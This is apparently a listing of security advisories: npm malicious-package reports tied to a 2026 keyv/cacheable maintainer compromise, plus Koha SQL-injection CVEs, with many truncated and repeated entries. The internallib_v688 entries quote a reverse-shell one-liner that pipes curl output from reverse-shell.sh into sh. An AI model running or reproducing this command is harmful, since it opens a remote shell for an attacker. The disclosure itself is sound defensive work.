MAL-2026-12014 Malicious code in @keyv/encrypt-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eb40fe6b9df197abf3018c58ce0ab5a9cdb11d3e9bddc636de1779c5c509948c The package contents produced no a static rule matches and no traced behavior indicating credential access, install-time or import-time code executio...

Malicious code in @keyv/encrypt-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eb40fe6b9df197abf3018c58ce0ab5a9cdb11d3e9bddc636de1779c5c509948c The package contents produced no a static rule matches and no traced behavior indicating credential access, install-time or import-time code executio...

Malicious code in @keyv/compress-lz4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd7fac64e01bf267ca0ee1c3234782fd17c24865d3be3e0cbfa26b65fe83c1a3 Package is an LZ4 compression adapter for the keyv key-value store. The dist bundles dist/index.cjs and dist/index.mjs contain Buffer.from...,...

MAL-2026-12009 Malicious code in @keyv/compress-brotli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 86bff1a8498159cc349a64d9d6459b842242e7d860aa2a33649708c9fc5f456a Package @keyv/[email protected] is a Brotli compression adapter for the keyv key-value store family. No credential access, network exfiltration,...

MAL-2026-12011 Malicious code in @keyv/compress-lz4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd7fac64e01bf267ca0ee1c3234782fd17c24865d3be3e0cbfa26b65fe83c1a3 Package is an LZ4 compression adapter for the keyv key-value store. The dist bundles dist/index.cjs and dist/index.mjs contain Buffer.from...,...

Malicious code in @keyv/serialize-superjson (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60fd6f442e95be934353f6974c755757a0693ad83ea1bb5db17d1f555c2663fc Package @keyv/[email protected] shows no a static rule matches and no traced malicious behavior. No install-time lifecycle hooks, network...

Malicious code in @keyv/test-suite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 710c3cc7a3215d4a3bfa506c57bf04ffc7973d33da9dca652060a6bf1d0a4856 @keyv/test-suite is a shared test harness used by keyv storage adapter packages. No install-time lifecycle hooks, remote fetches, credential reads,...

MAL-2026-12022 Malicious code in @keyv/serialize-superjson (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 60fd6f442e95be934353f6974c755757a0693ad83ea1bb5db17d1f555c2663fc Package @keyv/[email protected] shows no a static rule matches and no traced malicious behavior. No install-time lifecycle hooks, network...

MAL-2026-12024 Malicious code in @keyv/test-suite (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 710c3cc7a3215d4a3bfa506c57bf04ffc7973d33da9dca652060a6bf1d0a4856 @keyv/test-suite is a shared test harness used by keyv storage adapter packages. No install-time lifecycle hooks, remote fetches, credential reads,...

MAL-2026-12008 Malicious code in @keyv/cloudflare-kv (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b3d12d9e6fc46545510e3656381bca3029ff156434a34d54b21ed45d3c4145a @keyv/[email protected] is a Keyv storage adapter for Cloudflare KV. No install-time lifecycle hooks, credential-harvesting behavior, obfuscated...

Malicious code in @keyv/bigmap (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a8f8e82f91c41a43a5730b8c4d545e0b2e7b8b43b0945d656f937ce6b4adf79 The package contents did not exhibit any behaviors associated with supply-chain attacks: no install/preinstall/postinstall lifecycle hooks fetching o...

MAL-2026-12007 Malicious code in @keyv/bigmap (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2a8f8e82f91c41a43a5730b8c4d545e0b2e7b8b43b0945d656f937ce6b4adf79 The package contents did not exhibit any behaviors associated with supply-chain attacks: no install/preinstall/postinstall lifecycle hooks fetching o...

CVE-2026-70373 Koha - SQL Injection in reports/issues_stats.pl

Koha's reports/issuesstats.pl the circulation statistics report builds its calculation query in sub calculate by concatenating several user-controlled request parameters directly into the SQL string. The PeriodTypeSel, PeriodDaySel, and PeriodMonthSel parameters are interpolated raw into...

EUVD-2026-52674

Koha's reports/borissuestop.pl builds dynamic SQL in sub calculate by concatenating several user-controlled request parameters directly into the query string. The Criteria parameter is only normalized by a table-name prefix and is never whitelisted, landing verbatim in identifier positions SELECT...

Malicious code in @servicetitan/suppress-warnings (npm)

npm/@servicetitan/suppress-warnings is affected by the large-scale, self-propagating npm supply-chain worm of 2026-08-04 the "Shai-Hulud: Here We Go Again" wave — the same campaign that began with the compromise of the keyv and cacheable maintainer account. The listed versions were trojanized and...

MAL-2026-11560 Malicious code in @cacheable/node-cache (npm)

npm/@cacheable/node-cache version 3.1.2 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases...

Malicious code in @cacheable/node-cache (npm)

npm/@cacheable/node-cache version 3.1.2 is a trojanized release published on 2026-08-04 during the compromise of the npm/GitHub maintainer account behind the keyv and cacheable package families user "Jaredwray". Attackers pushed the malicious payload to the source repository and cut releases...

MAL-2026-11517 Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

Malicious code in internallib_v688 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5a37ed838b1b7b7467fd50abf97b99aba4a96463db14a1c41c31ad49ce34811 The package's main module exports a command function that runs /bin/bash -c 'curl https://reverse-shell.sh/10.0.64.141:443 | sh', fetching a...

MAL-2026-11512 Malicious code in internallib_v524 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector eba59f6d895fdeae2b83c62331fbb87118aa51202fd30ddc351fa43276408a44 The package's main module exports a function command that invokes /bin/bash -c to fetch a script from reverse-shell.sh and pipe it into sh, connectin...